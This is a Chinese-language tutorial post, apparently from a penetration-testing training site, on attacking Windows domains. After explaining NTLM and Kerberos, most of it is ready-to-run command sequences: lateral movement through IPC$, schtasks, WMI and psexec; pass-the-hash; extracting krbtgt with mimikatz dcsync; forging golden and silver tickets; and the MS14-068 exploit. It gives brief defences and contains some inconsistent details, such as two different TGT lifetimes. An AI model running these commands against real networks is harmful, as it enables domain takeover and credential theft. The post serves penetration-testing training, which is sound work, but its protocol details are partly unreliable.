最近我們針對滲透測試線下就業班的課程進行了深度調研,從問卷結果發現很多學員反饋關於內網滲透的課程不容易掌握。

今天,i 春秋針對內網域滲透知識進行了總結,希望對大家學習滲透測試課程有所幫助。
一、NTLM協議
在工作組中,密碼hash保存在本地的SAM文件中
(%SystemRoot%\system32\config\sam),在域里保存在ntds.dit文件中,hash的格式為:用戶名稱:SID:LM-Hash值:NT-Hash值
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32057716c8bd0647d9197a9db0b041eb:::
500冒號后面的是LM hash,bd0647d9197a9db0b041eb是ntml hash。
0x1.1 LM Hash
LM Hash的全稱是LAN Manager Hash,如果明文是dbnames,先要全部轉換成大寫,然后將大寫字符串轉換成16進制,如果明文大寫轉換的二進制不足14個字節,需要用0在后面添加到14個字節
44424e414d455300000000000000 dbnames的16進制為44424e414d4553
由於44424e414d4553轉換二進制為8字節,所以這兩個8字節數據要用魔術字符串KGS!@#$%DES加密。
4B47532140232425 為'KGS!@#$%'的16進制
將KGS!@#$%為key對這2個8字節進行des加密。
0x1.2 NTLM Hash
從Windows Vista開始,密碼默認情況是只有存儲NTLM Hash,LM Hash不會存在,在NTLM Hash中,先將字符串進行16進制轉換,然后在轉換成unicode字符串,最后使用MD4加密算法對Unicode進行加密,所以LM Hash跟NTLM相比,LM明文大小寫不敏感,可以判斷明文是否小於8位,不使用'KGS!@#$%'作為key進行des加密,而NTML采用單向加密方式(MD4)。
0x1.3 NTLM認證協議
NTLM協議認證分為三部分:協商、質詢、身份驗證驗證。

NTLM協議認證過程:
1、用戶輸入賬號密碼,客戶端中包含明文用用戶名向服務端發起請求
2、服務端接收到客戶端的請求,會生成一個challenge 16位隨機數,使用存儲的NTLM Hash加密challenge,生成challenge1,然后將challenge的16位明文隨機數發送給客戶端
3、客戶端接收到challenge后,使用用戶登錄的密碼hash加密challenge生成response(challenge2),將這個response發送給客戶端
4、服務端接收到response,對challenge1和challenge2進行比較,相同的話就驗證成功
0x1.4 NTLM v1與NTLM v2
challenge:NTLM v1是8的隨機數;NTLM v2是16位的隨機數。
Net-NTLM Hash:
1、NTLM v1采用的是DES加密,在16字節后面填充5個0,組成21字節,然后分成3組7個字節的,並在每7個字節后面填充1個0,成為3個8字節的DES密鑰,加密上訴步驟2(server)發來的challenge,組成24字節的密文。
2、NTLM v2采用的HMAC-MD5加密
二、Kerberos協議
Kerberos是一種網絡認證協議,主要在windows域中,其設計目標是通過密鑰系統為客戶機 / 服務器應用程序提供強大的認證服務。在Kerbeos協議中主要有三個角色:
①Client
②Server
③KDC,在KDC中又有兩個部分組成:
AS:作用是驗證Client是不是本人
TGS:為Client生成訪問某個服務的ST票據(TGS Ticket)
認證過程:

1、客戶端向KDC(AS)發起一個認證請求(KRB_AS_REQ),在請求的過程中,是通過用戶的密碼hash加密的時間戳,然后發送給AS服務器,AS服務器接收到后,采用服務器那邊的密碼hash進行解密這個時間戳,解密成功后,並且時間戳在一定時間范圍,說明認證成功。
2、AS對比用戶是否在本地數據庫中,使用客戶端的hash進行解密,正確就返回krbtgt的密碼hash加密的TGT票據(到期時間一般為8小時),用戶是無法解密這個TGT票據的,但是有了krbtgt的hash,就可以偽造'黃金票據'。還要返回一個由客戶端用戶ntml hash加密的Session Key(sessionkey1),Session Key是KDC接收請求后的隨機生成的字符(KRB_AS_REP)。
3、客戶端用自己的密碼hash解密Session Key,TGT是KDC加密的,Client無法解密,Client拿着解密出來的SessionKey去加密時間戳和TGT發送給TGS換取訪問Server的票據(KRB_TGS_REQ)。
4、TGS收到Client的請求后,會驗證是否存在客戶端要訪問的這個服務,存在的話KDC使用krbtgt的密碼hash對TGT進行解密,然后會查看TGT中的時間戳,看是否TGT失效,如果解密成功的TGT沒有失效,向客戶端發送通過sessionkey1加密的Session_key和ticket票據,在TGSREP中,用的是服務的hash加密ticket的,所有我們擁有這個服務的hash就可以制作一個ticket(即白銀票據)(KRB_TGS_REP)。
5、客戶端拿着自己sessionkey1解密的Session_Key(sessionkey2),然后把sessionkey2加密的時間戳和ticket發送個Server去訪問服務,認證通過就可以訪問(KRB_AP_REQ)。
6、服務使用自己的hash去解密ticket票據,得到sessionkey2,在用sessionkey2去解密時間戳,解密成功,就用PAC去KDC問客戶端是否有訪問的權限,域控解密PAC,用於讓客戶端識別是否訪問正確的服務端(KRB_AP_REP)。
三、內網橫向移動的常用方法
0x1.1 ipc連接
net use \\192.168.1.232\C$ admin123456 /user:fanxing.com\fanxing
復制文件到主機上
copy 1.bat \\192.168.1.232\c$\tools
獲取服務器的時間
net time \\192.168.1.232
創建計划任務,20:05執行1.bat文件,cobaltstrike上線成功。
at \\192.168.1.232 20:05 c:\tools\1.bat

下面是ipc連接當中常見的錯誤號:
錯誤號5:拒絕訪問--->使用的權限太低,需要提權
錯誤號51:Windows無法找到網絡路徑,網絡有問題
錯誤號53:找不到網絡路徑,ip地址錯誤、目標未開機、目標lanmanserver服務未開啟、目標有防火牆(端口過濾)
錯誤號67:找不到網絡名->你的lanmanworkstation服務未啟動或者目標刪除了ipc$
錯誤號1219:提供的憑據與已存在的憑據集沖突->你已經和對方建立了一個ipc,請刪除在連接
錯誤號1326:未知的用戶名或錯誤密碼
錯誤號1792:試圖登錄,但是網絡登錄服務沒啟動->目標BetLogon服務未啟動
錯誤號2242:此用戶的密碼已經過期->目標有賬號策略,強制定期要求更改密碼
0x1.2 schtasks創建計划任務
設置每天晚上8:40執行1.bat文件
schtasks /create /s 192.168.1.232 /u fanxing.com\fanxing /p admin@163.com /ru "SYSTEM" /tn fanxing /sc DAILY /st 20:40 /tr c:\tools\1.bat /F

0x1.3 WMI
wmi服務需要開啟135端口,這個是默認開啟的。
wmic /node:192.168.1.232 /user:fanxing.com\fanxing /password:admin@163.com process call create "cmd /c 1.exe"

使用wmic沒有任何回顯,可以wmicexec.vbs解決無回顯的問題,或者獲取一個半交互式shell。
cscript wmiexec.vbs /cmd 192.168.1.232 fanxing.com\fanxing admin@163.com whoami

0x1.4 pstools
pstools中有13個小工具,這里主要利用p**ec進行遠程執行命令,唯一的缺點就是會開啟一個服務,容易被管理員發現。
在ipc建立連接的時候,可以直接使用p**ec:
p**ec.exe \\192.168.1.232 -h cmd /c "whoami"

當ipc沒有連接時:
P**ec.exe \\192.168.1.232 -u fanxing.com\fanxing -p admin@163.com -h cmd /c "whoami"

使用metasploit執行:
use auxiliary/admin/smb/p**ec_command
set rhosts 192.168.1.232
set smbuser fanxing
set smbpass admin@163.com
set smbdomain fanxing.com
set command whoami

0x1.5 hash傳遞(PTH)
hash傳遞是通過密碼的hash訪問主機或者服務,不需要明文登錄。hash的原理,出現在上面講的NTML認證過程的challenge。利用metasploit:
use exploit/windows/smb/p**ec
set rhosts 192.168.50.233
set SMBPass 32057716c8bd0647d9197a9db0b041eb
set SMBUser administrator
set SMBDomain fanxing.com
四、黃金票據
黃金票據是AS頒發給Client的TGT票據(TGT的有效時間為20分鍾),是通過域kerberos賬戶(KRBTGT)加密的。實現原理就是跳過了AS的認證過程,直接向KDC的TGS服務證明通過了AS服務。一般黃金票據都是域控的權限掉了的時候,修改了域控的密碼,而krbtgt的密碼沒有被修改,就可以重新獲取到域控權限。
滿足黃金票據的條件有:
①域的名稱
②域的SID值
③域中KRBTGT的密碼hash
④偽造的用戶名
在金票的利用過程中,可以使用mimikatz,cobaltstrike,metasploit來偽造。
0x1.1 Mimikatz
導出krbtgt的NTML Hash
privilege::debug #提權
[/size][size=18px]lsadump::dcsync /domain:fanxing.com /user:krbtgt

獲取域的SID值,不要后面的-500。
whoami /all

偽造金票
kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /aes256:3df036f90aaf3a63a5cce96fc753f08beb5a2e61946e17cc7d5e6ce04b651b89 /user:fanxing /ticket:gold.kirbi

導入Golden Ticket:
kerberos::ptt c:\users\test\gold.kirbi

可以使用dir訪問域控目錄,要輸入主機名,使用ip還是訪問不到。
dir \\WIN-M34UCFJIPNQ\c$

mimikatz還有另外一中方法:
kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /rc4:8b3955c065502e33716d555d4421a723 /user:fanxing /ptt
0x1.2 CobaltStrike
在上線之后->執行->黃金票據:

0x1.3 Metasploit
msf制作金票
load kiwi
生成Golden Ticket
golden_ticket_create -d fanxing.com -k 8b3955c065502e33716d555d4421a723 -s S-1-5-21-3408186607-3793295459-3581146574 -u fanxing -t /tmp/golden.ticket
將票據導入內存中
kerberos_ticket_use /tmp/golden.ticket

dir訪問目錄成功

金票的創建,需要krbtgt的密碼ntml hash,對於防御,只要定期的修改krbtgt的密碼,就能使金票失效。
五、白銀票據
白銀票據是TGS頒發給Client的ST票據,根據kerberos協議第5步,Server會對Clinet的ST票據利用Client的hash解密,所以這個過程不需要經過KDC,而且只能訪問Server的服務一次。
滿足一下條件,即可以偽造銀票:
①域的名稱
②域的SID值
③域服務的NTML Hash
④要偽造的用戶名
⑤目標服務器的kerberos服務
常用的服務名有:

偽造銀票
kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /target:WIN-M34UCFJIPNQ.fanxing.com /service:cifs /rc4:dcd87fc42d9d8ac03dec5931a55ddd59 /user:fanxing /ptt

對於銀票的防御措施可以開啟PAC,PAC只能KDC制作和查看,在注冊表中添加一個ValidateKdcPacSignature為1。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters

六、MS14-068
Client向AS申請一張不包含PAC的TGT票據,會偽造一個PAC,在TGS_REP中,對偽造的PAC驗證成功后,會返回一個新的TGT票據。
通過MS14-068exp利用:
MS14-068.exe -u 當前域用戶@域名稱 -p 當前域用戶密碼 -s sid值 -d 域控ip
sid值通過whoami /all獲取

然后會在目錄下生成一個證書,利用mimikatz。
kerberos::ptc C:\wwwroot\TGT_xxxxx@fanxing.com.ccache
就可以使用dir訪問到域控的目錄。

對於ms14-068的防御可以打補丁KB3011780和使用winserver2012。
以上是今天的內容,大家看懂了嗎?當然內網域滲透知識還有很多沒有整理完,更多的內容分享希望大家及時關注i春秋。